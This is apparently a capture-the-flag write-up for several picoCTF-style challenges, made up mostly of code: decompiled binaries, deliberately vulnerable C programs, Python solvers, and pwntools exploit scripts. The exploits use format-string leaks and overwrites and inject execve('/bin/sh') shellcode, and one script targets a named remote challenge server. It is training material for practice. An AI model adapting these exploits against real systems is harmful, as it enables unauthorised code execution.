1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  __int64 v3; // rax
4
  __int64 v4; // rax
5
  const char *command; // rax
6
  __int64 envp_1; // rdx
7
  __int64 v7; // rax
8
  __int64 v8; // rax
9
  int v9; // ebx
10
  char v11; // [rsp+Bh] [rbp-45h] BYREF
11
  unsigned int v12; // [rsp+Ch] [rbp-44h]
12
  _BYTE v13[40]; // [rsp+10h] [rbp-40h] BYREF
13
  unsigned __int64 v14; // [rsp+38h] [rbp-18h]
14

15
  v14 = __readfsqword(0x28u);
16
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Computing the MD5 hash of /root/flag.txt.... ", envp);
17
  v4 = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
18
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
19
  sleep(2u);
20
  std::allocator<char>::allocator(&v11);
21
  std::string::basic_string(v13, "/bin/bash -c 'md5sum /root/flag.txt'", &v11);
22
  std::allocator<char>::~allocator(&v11);
23
  setgid(0);
24
  setuid(0);
25
  command = (const char *)std::string::c_str(v13);
26
  v12 = system(command);
27
  if ( v12 )
28
  {
29
    v7 = std::operator<<<std::char_traits<char>>(&std::cerr, "Error: system() call returned non-zero value: ", envp_1);
30
    v8 = std::ostream::operator<<(v7, v12);
31
    std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
32
    v9 = 1;
33
  }
34
  else
35
  {
36
    v9 = 0;
37
  }
38
  std::string::~string(v13);
39
  return v9;
40
}

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <signal.h>
4
#include <unistd.h>
5

6
void segfault_handler() {
7
  printf("Segfault Occurred, incorrect address.\n");
8
  exit(0);
9
}
10

11
void call_functions() {
12
  char buffer[64];
13
  printf("Enter your name:");
14
  fgets(buffer, 64, stdin);
15
  printf(buffer);
16

17
  unsigned long val;
18
  printf(" enter the address to jump to, ex => 0x12345: ");
19
  scanf("%lx", &val);
20

21
  void (*foo)(void) = (void (*)())val;
22
  foo();
23
}
24

25
int win() {
26
  FILE *fptr;
27
  char c;
28

29
  printf("You won!\n");
30
  // Open file
31
  fptr = fopen("flag.txt", "r");
32
  if (fptr == NULL)
33
  {
34
      printf("Cannot open file.\n");
35
      exit(0);
36
  }
37

38
  // Read contents from file
39
  c = fgetc(fptr);
40
  while (c != EOF)
41
  {
42
      printf ("%c", c);
43
      c = fgetc(fptr);
44
  }
45

46
  printf("\n");
47
  fclose(fptr);
48
}
49

50
int main() {
51
  signal(SIGSEGV, segfault_handler);
52
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
53

54
  call_functions();
55
  return 0;
56
}

1
void call_functions() {
2
  char buffer[64];
3
  printf("Enter your name:");
4
  fgets(buffer, 64, stdin);
5
  printf(buffer);
6

7
  unsigned long val;
8
  printf(" enter the address to jump to, ex => 0x12345: ");
9
  scanf("%lx", &val);
10

11
  void (*foo)(void) = (void (*)())val;
12
  foo();
13
}

1
  void (*foo)(void) = (void (*)())val;
2
  foo();

1
offset = ([address muốn leak] - [address tại rsp (top stack)])/8 + 6

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwn import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./vuln', checksec=False)
8
libc = exe.libc
9

10
def init(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        docker_port = sys.argv[1]
17
        docker_path = sys.argv[2]
18
        p = remote("localhost", docker_port)
19
        sleep(1)
20
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
21
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28

29
b*call_functions+80
30
c
31
'''.format(**locals())
32

33
p = init()
34

35
# ==================== EXPLOIT ====================
36

37
def exploit():
38

39
    pl = b'%19$p'
40
    p.sendlineafter(b'name:', pl)
41

42
    exe.address = int(p.recvline()[:-1], 16) - 0x1441
43
    print(hex(exe.address))
44

45
    p.sendlineafter(b': ', hex(exe.sym.win+24))
46

47
    p.interactive()
48

49
if __name__ == '__main__':
50
    exploit()

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4

5
void print_flag() {
6
    char buf[32];
7
    FILE *file = fopen("/home/valley/flag.txt", "r");
8

9
    if (file == NULL) {
10
      perror("Failed to open flag file");
11
      exit(EXIT_FAILURE);
12
    }
13

14
    fgets(buf, sizeof(buf), file);
15
    printf("Congrats! Here is your flag: %s", buf);
16
    fclose(file);
17
    exit(EXIT_SUCCESS);
18
}
19

20
void echo_valley() {
21
    printf("Welcome to the Echo Valley, Try Shouting: \n");
22

23
    char buf[100];
24

25
    while(1)
26
    {
27
        fflush(stdout);
28
        fgets(buf, sizeof(buf), stdin);
29

30
        if (strcmp(buf, "exit\n") == 0) {
31
            printf("The Valley Disappears\n");
32
            break;
33
        }
34

35
        printf("You heard in the distance: ");
36
        printf(buf);
37
        fflush(stdout);
38
    }
39
    fflush(stdout);
40
}
41

42
int main()
43
{
44
    echo_valley();
45
    return 0;
46
}

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwn import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./valley', checksec=False)
8
libc = exe.libc
9

10
def init(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        docker_port = sys.argv[1]
17
        docker_path = sys.argv[2]
18
        p = remote("localhost", docker_port)
19
        sleep(1)
20
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
21
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28

29
b *echo_valley+201
30
b *echo_valley+219
31
c
32
'''.format(**locals())
33

34
p = init()
35

36
# ==================== EXPLOIT ====================
37

38
def exploit():
39

40
    p.sendline(b'%20$p')
41

42
    p.recvuntil(b'distance: ')
43
    stack = int(rl()[:-1], 16)
44
    log.info('Stack: ' +  hex(stack))
45

46
    p.sendline(b'%21$p')
47
    p.recvuntil(b'distance: ')
48
    leak = int(p.recvline()[:-1], 16)
49
    exe.address = leak - 0x1413
50
    log.info('Elf base: ' + hex(exe.address))
51

52
    offset = 6
53
    write = {
54
        stack - 8: exe.sym.print_flag + 5
55
    }
56

57
    pl = fmtstr_payload(offset, write, write_size='short')
58
    # print(pl)
59
    p.sendline(pl)
60

61
    p.sendline(b'exit')
62

63
    p.interactive()
64

65
if __name__ == '__main__':
66
    exploit()

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <stdbool.h>
4

5
#define MAX_ENTRIES 10
6
#define NAME_LEN 32
7
#define MSG_LEN 64
8

9
typedef struct entry {
10
  char name[8];
11
  char msg[64];
12
} entry_t;
13

14
void print_menu() {
15
  puts("What option would you like to do?");
16
  puts("1. Add a new recipient");
17
  puts("2. Send a message to a recipient");
18
  puts("3. Exit the app");
19
}
20

21
int vuln() {
22
  char feedback[8];
23
  entry_t entries[10];
24
  int total_entries = 0;
25
  int choice = -1;
26
  // Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
27
  while (true) {
28
    print_menu();
29
    if (scanf("%d", &choice) != 1) exit(0);
30
    getchar(); // Remove trailing \n
31

32
    // Add entry
33
    if (choice == 1) {
34
      choice = -1;
35
      // Check for max entries
36
      if (total_entries >= MAX_ENTRIES) {
37
        puts("Max recipients reached!");
38
        continue;
39
      }
40

41
      // Add a new entry
42
      puts("What's the new recipient's name: ");
43
      fflush(stdin);
44
      fgets(entries[total_entries].name, NAME_LEN, stdin);
45
      total_entries++;
46

47
    }
48
    // Add message
49
    else if (choice == 2) {
50
      choice = -1;
51
      puts("Which recipient would you like to send a message to?");
52
      if (scanf("%d", &choice) != 1) exit(0);
53
      getchar();
54

55
      if (choice >= total_entries) {
56
        puts("Invalid entry number");
57
        continue;
58
      }
59

60
      puts("What message would you like to send them?");
61
      fgets(entries[choice].msg, MSG_LEN, stdin);
62
    }
63
    else if (choice == 3) {
64
      choice = -1;
65
      puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
66
      fgets(feedback, NAME_LEN, stdin);
67
      feedback[7] = '\0';
68
      break;
69
    }
70
    else {
71
      choice = -1;
72
      puts("Invalid option");
73
    }
74
  }
75
}
76

77
int main() {
78
  setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
79
  vuln();
80
  return 0;
81
}

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./handoff', checksec=False)
8
libc = exe.libc
9

10
def init(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        docker_port = sys.argv[1]
17
        docker_path = sys.argv[2]
18
        p = remote("localhost", docker_port)
19
        sleep(1)
20
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
21
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28

29
# b *vuln+62
30
b *0x000000000040140e
31
c
32
'''.format(**locals())
33

34
p = init()
35

36
# ==================== EXPLOIT ====================
37

38
def exploit():
39

40
    jmp_rax = 0x000000000040116c
41

42

43
    sc = asm("""
44
    sc:
45
            nop
46
            nop
47
            nop
48
            xor rdi, rdi
49
            lea rdi, [rip+bin_sh]
50
            nop
51
            nop
52
            nop
53
            nop
54
            xor rsi, rsi
55
            xor rdx, rdx
56
            mov eax, 0x3b
57
            syscall
58
            nop
59
            nop
60
            nop
61

62
    bin_sh:
63
            .ascii "/bin/sh"
64
            .byte 0
65
    """, arch='amd64')
66

67
    sc2 = asm ("""
68
            nop
69
            nop
70
            sub rsp, 0x2e4
71
            nop
72
            jmp rsp
73
             """)
74

75

76
    sla(b'\n', b'1')
77
    sla(b'\n', b'A'*8)
78

79
    sla(b'\n', b'2')
80
    sla(b'\n', b'0')
81
    sla(b'\n', sc)
82

83
    sla(b'\n', b'3')
84
    offset = 20
85
    payload = sc2.ljust(offset, b'\x90') + p64(jmp_rax)
86
    sla(b'\n', payload)
87

88
    interactive()
89

90
if __name__ == '__main__':
91
    exploit()

1
#!/usr/bin/python3
2

3
from pwn import *
4
from time import sleep
5

6
context.binary = exe = ELF('./handoff',checksec=False)
7
context.arch = 'amd64'
8
#p = process()
9
p = remote('shape-facility.picoctf.net', 52705)
10

11
# input()
12
jmp_rax  = 0x000000000040116c
13
pop_rdi = 0x00000000004014b3
14

15
for i in range(9):
16
    p.sendline(b'1')
17
    p.sendline(b'A')
18

19
p.sendline(b'1')
20
payload = b'/bin/sh\x00'
21
p.sendline(payload)
22
# input()
23
sleep(0.5)
24
p.sendline(b'3')
25

26
shellcode = asm('''
27
xchg rax,rdi
28
mov rax,0x3b
29
nop
30
sub rdi,0x4c
31
xor esi,esi
32
xor edx,edx
33
syscall
34
                ''')
35
print(len(shellcode))
36
p.sendline(shellcode + p64(jmp_rax))
37

38
p.interactive()

1
__int64 start()
2
{
3
  struct _PEB *v0; // rbx
4
  HANDLE ProcessHeap; // rax
5
  void *v2; // rdi
6
  HANDLE hHeap; // rax
7
  __int64 v4; // rdi
8
  int *ImageBaseAddress; // rbp
9
  __int64 v6; // rsi
10
  char *i; // rbx
11
  __int64 v9; // rdi
12
  __int64 v10; // rbx
13
  char *v11; // rdi
14
  __int64 v12; // [rsp+50h] [rbp+8h] BYREF
15
  __int64 v13; // [rsp+58h] [rbp+10h] BYREF
16

17
  v0 = NtCurrentPeb();
18
  ProcessHeap = GetProcessHeap();
19
  v2 = HeapAlloc(ProcessHeap, 8u, 0x400uLL);
20
  if ( GetLastError() == 13852 )
21
  {
22
    ReleaseSRWLockExclusive(0LL);
23
    ReleaseSRWLockShared(0LL);
24
    SetCriticalSectionSpinCount(0LL, 0);
25
    TryAcquireSRWLockExclusive(0LL);
26
    WakeAllConditionVariable(0LL);
27
    SetUnhandledExceptionFilter(0LL);
28
    UnhandledExceptionFilter(0LL);
29
    CheckMenuItem(0LL, 0, 0);
30
    GetMenu(0LL);
31
    GetSystemMenu(0LL, 0);
32
    GetMenuItemID(0LL, 0);
33
    EnableMenuItem(0LL, 0, 0);
34
    MessageBeep(0);
35
    GetLastError();
36
    MessageBoxW(0LL, 0LL, 0LL, 0);
37
    MessageBoxA(0LL, 0LL, 0LL, 0);
38
    UpdateWindow(0LL);
39
    GetWindowContextHelpId(0LL);
40
  }
41
  else
42
  {
43
    hHeap = GetProcessHeap();
44
    HeapFree(hHeap, 0, v2);
45
  }
46
  if ( !v0 || v0->OSMajorVersion != 10 )
47
    return 0xFFFFFFFFLL;
48
  v4 = 0LL;
49
  v13 = 0LL;
50
  v12 = 0LL;
51
  ImageBaseAddress = (int *)v0->ImageBaseAddress;
52
  v6 = ImageBaseAddress[15];
53
  for ( i = (char *)ImageBaseAddress + v6 + 264; (unsigned int)sub_1400014B0(i) != -1622013139; i += 40 )
54
  {
55
    if ( ++v4 > (unsigned __int64)*(unsigned __int16 *)((char *)ImageBaseAddress + v6 + 6) )
56
      return 0xFFFFFFFFLL;
57
  }
58
  v9 = *((unsigned int *)i + 3);
59
  v10 = *((unsigned int *)i + 4);
60
  v11 = (char *)ImageBaseAddress + v9;
61
  if ( !v11
62
    || !v10
63
    || !(unsigned int)sub_1400018B0()
64
    || (unsigned int)sub_140001300(1, (_DWORD)v11, v10, (unsigned int)&v13, (__int64)&v12) )
65
  {
66
    return 0xFFFFFFFFLL;
67
  }
68
  sub_140001DC0(v13, v12, 1LL);
69
  return 0LL;
70
}

1
import sys
2

3
def exit():
4
  sys.exit(0)
5

6
def scramble(L):
7
  A = L
8
  i = 2
9
  while (i < len(A)):
10
    A[i-2] += A.pop(i-1)
11
    A[i-1].append(A[:i-2])
12
    i += 1
13

14
  return L
15

16
def get_flag():
17
  flag = open('flag.txt', 'r').read()
18
  flag = flag.strip()
19
  hex_flag = []
20
  for c in flag:
21
    hex_flag.append([str(hex(ord(c)))])
22

23
  return hex_flag
24

25
def main():
26
  flag = get_flag()
27
  cypher = scramble(flag)
28
  print(cypher)
29

30
if __name__ == '__main__':
31
  main()

1
import ast
2

3
def unscramble(L):
4
    i = len(L)
5
    while i > 2:
6
        L[i - 1].pop()
7
        split_point = len(L[i - 2]) - len(L[i - 1])
8
        L.insert(i - 1, L[i - 2][split_point:])
9
        L[i - 2] = L[i - 2][:split_point]
10
        i -= 1
11
    return L
12

13
def get_hex(L):
14
    res = []
15
    for i in L:
16
        # print(L)
17
        # print(i)
18
        for j in i:
19
            # print(j)
20
            if j:
21
                res.append(int(j,16))
22

23
    return res
24

25
enc = ast.literal_eval(open("output.txt").read())
26
orig = unscramble(enc)
27
# print(enc)
28
# print(orig)
29

30
flag = get_hex(orig)
31
print(bytes(flag))

1
import time
2
import base64
3
import hashlib
4
import sys
5
import secrets
6

7

8
class Block:
9
    def __init__(self, index, previous_hash, timestamp, encoded_transactions, nonce):
10
        self.index = index
11
        self.previous_hash = previous_hash
12
        self.timestamp = timestamp
13
        self.encoded_transactions = encoded_transactions
14
        self.nonce = nonce
15

16
    def calculate_hash(self):
17
        block_string = f"{self.index}{self.previous_hash}{self.timestamp}{self.encoded_transactions}{self.nonce}"
18
        return hashlib.sha256(block_string.encode()).hexdigest()
19

20

21
def proof_of_work(previous_block, encoded_transactions):
22
    index = previous_block.index + 1
23
    timestamp = int(time.time())
24
    nonce = 0
25

26
    block = Block(index, previous_block.calculate_hash(),
27
                  timestamp, encoded_transactions, nonce)
28

29
    while not is_valid_proof(block):
30
        nonce += 1
31
        block.nonce = nonce
32

33
    return block
34

35

36
def is_valid_proof(block):
37
    guess_hash = block.calculate_hash()
38
    return guess_hash[:2] == "00"
39

40

41
def decode_transactions(encoded_transactions):
42
    return base64.b64decode(encoded_transactions).decode('utf-8')
43

44

45
def get_all_blocks(blockchain):
46
    return blockchain
47

48

49
def blockchain_to_string(blockchain):
50
    block_strings = [f"{block.calculate_hash()}" for block in blockchain]
51
    return '-'.join(block_strings)
52

53

54
def encrypt(plaintext, inner_txt, key):
55
    midpoint = len(plaintext) // 2
56

57
    first_part = plaintext[:midpoint]
58
    second_part = plaintext[midpoint:]
59
    modified_plaintext = first_part + inner_txt + second_part
60
    block_size = 16
61
    plaintext = pad(modified_plaintext, block_size)
62
    key_hash = hashlib.sha256(key).digest()
63

64
    ciphertext = b''
65

66
    for i in range(0, len(plaintext), block_size):
67
        block = plaintext[i:i + block_size]
68
        cipher_block = xor_bytes(block, key_hash)
69
        ciphertext += cipher_block
70

71
    return ciphertext
72

73

74
def pad(data, block_size):
75
    padding_length = block_size - len(data) % block_size
76
    padding = bytes([padding_length] * padding_length)
77
    return data.encode() + padding
78

79

80
def xor_bytes(a, b):
81
    return bytes(x ^ y for x, y in zip(a, b))
82

83

84
def generate_random_string(length):
85
    return secrets.token_hex(length // 2)
86

87

88
random_string = generate_random_string(64)
89

90

91
def main(token):
92
    key = bytes.fromhex(random_string)
93

94
    print("Key:", key)
95

96
    genesis_block = Block(0, "0", int(time.time()), "EncodedGenesisBlock", 0)
97
    blockchain = [genesis_block]
98

99
    for i in range(1, 5):
100
        encoded_transactions = base64.b64encode(
101
            f"Transaction_{i}".encode()).decode('utf-8')
102
        new_block = proof_of_work(blockchain[-1], encoded_transactions)
103
        blockchain.append(new_block)
104

105
    all_blocks = get_all_blocks(blockchain)
106

107
    blockchain_string = blockchain_to_string(all_blocks)
108
    encrypted_blockchain = encrypt(blockchain_string, token, key)
109

110
    print("Encrypted Blockchain:", encrypted_blockchain)
111

112

113
if __name__ == "__main__":
114
    text = sys.argv[1]
115
    main(text)

1
import hashlib
2
import re
3

4
def xor_bytes(a, b):
5
    return bytes(x ^ y for x, y in zip(a, b))
6

7
def decrypt(ciphertext, key):
8
    block_size = 16
9
    key_hash = hashlib.sha256(key).digest()
10
    plaintext = b''
11

12
    for i in range(0, len(ciphertext), block_size):
13
        cipher_block = ciphertext[i:i + block_size]
14
        plain_block = xor_bytes(cipher_block, key_hash)
15
        plaintext += plain_block
16

17
    # Remove padding
18
    padding_length = plaintext[-1]
19
    return plaintext[:-padding_length].decode('utf-8')
20

21
def extract_token(decrypted_text):
22

23
    flag_pattern = re.compile(r'[A-Z_]+{[^}]+}')
24
    matches = flag_pattern.findall(decrypted_text)
25
    if matches:
26
        return matches[0]
27

28
    parts = decrypted_text.split('-')
29
    for i, part in enumerate(parts):
30
        # Check if this part doesn't look like a valid hash (64 hex chars)
31
        if len(part) != 64 or any(c not in '0123456789abcdef' for c in part):
32
            return f"Anomaly found in part {i}: {part}"
33

34
    # If we can't find it by parsing, check around the middle where it was inserted
35
    midpoint = len(decrypted_text) // 2
36

37
    # Look around the midpoint for patterns that don't look like blockchain hashes
38
    for offset in range(-100, 100):
39
        pos = midpoint + offset
40
        if pos > 0 and pos < len(decrypted_text) - 20:
41
            # Look for characters that wouldn't be in a hexadecimal hash
42
            for i in range(pos, min(pos+50, len(decrypted_text))):
43
                if decrypted_text[i] not in '0123456789abcdef-':
44
                    # Found a non-hash character, might be the start of our token
45
                    start = i
46
                    # Find the end of the non-hash sequence
47
                    end = start
48
                    while end < len(decrypted_text) and decrypted_text[end] not in '0123456789abcdef-':
49
                        end += 1
50
                    return decrypted_text[start:end]
51

52
    # If we still can't find the token, return a portion around the middle
53
    middle_section = decrypted_text[midpoint-100:midpoint+100]
54
    return f"Could not clearly identify token. Middle section: {middle_section}"
55

56
def analyze_decrypted_text(decrypted_text):
57
    print("\nAnalyzing decrypted text:")
58
    print("Length of decrypted text:", len(decrypted_text))
59
    print("First 100 characters:", decrypted_text[:100])
60
    print("Middle 100 characters:", decrypted_text[len(decrypted_text)//2-50:len(decrypted_text)//2+50])
61
    print("Last 100 characters:", decrypted_text[-100:])
62

63
    # Split by hyphens to see the structure
64
    parts = decrypted_text.split('-')
65
    print(f"Number of parts split by hyphen: {len(parts)}")
66

67
    # Check parts for anomalies
68
    for i, part in enumerate(parts):
69
        if len(part) != 64 or any(c not in '0123456789abcdef' for c in part):
70
            print(f"Part {i} is not a standard hash: {part}")
71

72
def main():
73
    # Given data
74
    key = b'\xa9\xcco`\xfa\xf9\xb5\xc0\xda\xf6*\xb3\xbe\xa9t\x0fi\xae\x13\x01q-\xae\x9ap\xb7\xa45\x1e{\xaa\xb4'
75
    encrypted_blockchain = b'\xf7Y\x8db\x8bS\xb2\x80q\xf2\xa0\x87\xd6(\xfc\xe6\xf2\\\x82`\x8c\\\xb4\xd4v\xf0\xf2\xd1\xde/\xfa\xb0\xfb]\xdfg\x8bV\xe2\xd1$\xa5\xa6\xd9\x8c+\xa8\xe7\xa6X\x82d\xda\x01\xb1\x85u\xa4\xa3\xd3\xda}\xff\xbc\xeeZ\x8am\x8d\x01\xb1\x84$\xa1\xf4\x85\x8c,\xfa\xe7\xf0S\x8f4\x8f\x02\xb1\x82w\xf1\xf6\x85\xd7/\xff\xb3\xa6]\xdf`\x8b\x00\xe3\xd1"\xf2\xf6\xd8\xda|\xfd\xb7\xf3Z\xd83\xdc\\\xbe\xd6!\xa2\xae\xd8\x8c{\xfa\xb0\xf2G\x8ae\x8a\x01\xe3\xd7q\xf4\xa3\xd9\x8aq\xfd\xbd\xfb\x08\x8ag\x8dQ\xe3\xd0"\xa4\xf2\x84\xdeq\xac\xb5\xf4\x0e\xca<\xdd\x0b\xc5\xe6U\xbc\xf5\x8d\x81*\xa6\xdb\xf09\xe8=\xe8\r\xd4\xd0G\xf6\xe6\x82\xb6\x16\x95\xd1\xa9\'\x8a\'\x8a]\xe5\xfaL\xb6\xd4\x9b\x83\x03\x97\xfe\x81!\xe5a\x87\\\xbf\xd4*\xa2\xf6\x9c\xdex\xf4\xe5\xf6R\x8em\x87W\xb1\x80 \xf5\xf4\xd6\x8a{\xfd\xe7\xf3\x08\x89d\xdfP\xb2\x82u\xf4\xa0\x80\xc3y\xfd\xb2\xa5[\x83m\x8dQ\xe5\x84+\xfe\xa5\x84\xd7p\xf4\xb6\xf1S\x89m\xddQ\xb0\xd7&\xf2\xf2\xd3\x8b,\xf9\xb5\xfa\x08\xd8f\x8c\\\xe5\xd7"\xf3\xf6\xd4\x8c|\xac\xe5\xa7\x08\x8ag\x8d\x02\xbe\xd1$\xa2\xa3\x80\x8ad\xfd\xb4\xa6]\xdc0\xd8W\xb1\x85q\xa5\xf6\x80\xdbq\xa9\xb5\xf0_\xdee\x8e\x00\xbe\xd3r\xf4\xa2\xd4\x88y\xf4\xb0\xa5_\xdc4\xda\x05\xb7\x80r\xf1\xa3\x84\x8ap\xfb\xb2\xfa\x08\x8c`\x8eR\xe3\x81q\xfe\xae\x84\x88x\xcf\x86'
76

77
    print("Starting decryption process...")
78

79
    # Decrypt the blockchain
80
    try:
81
        decrypted_text = decrypt(encrypted_blockchain, key)
82
        print("\nDecryption successful!")
83
    except Exception as e:
84
        print(f"Error during decryption: {e}")
85
        return
86

87
    # Analyze the decrypted text structure
88
    analyze_decrypted_text(decrypted_text)
89

90
    # Extract the token/flag
91
    token = extract_token(decrypted_text)
92
    print("\nExtracted token/flag:", token)
93

94
    # Additional analysis to find the token if not found by regular methods
95
    if not re.match(r'[A-Z_]+{[^}]+}', token):
96
        print("\nPerforming deeper analysis to find the flag...")
97
        # Check for flag-like patterns anywhere in the text
98
        flag_pattern = re.compile(r'[A-Z_]+{[^}]+}')
99
        all_matches = flag_pattern.findall(decrypted_text)
100
        if all_matches:
101
            print("All potential flags found:", all_matches)
102
        else:
103
            print("No standard flag format found. Checking for other anomalies...")
104
            # Look for any non-hex characters which might be part of the flag
105
            non_hex_pattern = re.compile(r'[^0-9a-f-]+')
106
            non_hex_matches = non_hex_pattern.findall(decrypted_text)
107
            if non_hex_matches:
108
                print("Non-hex sequences found:", non_hex_matches)
109

110
            # Print the entire decrypted text for manual inspection
111
            print("\nFull decrypted text (for manual inspection):")
112
            print(decrypted_text)
113

114
if __name__ == "__main__":
115
    main()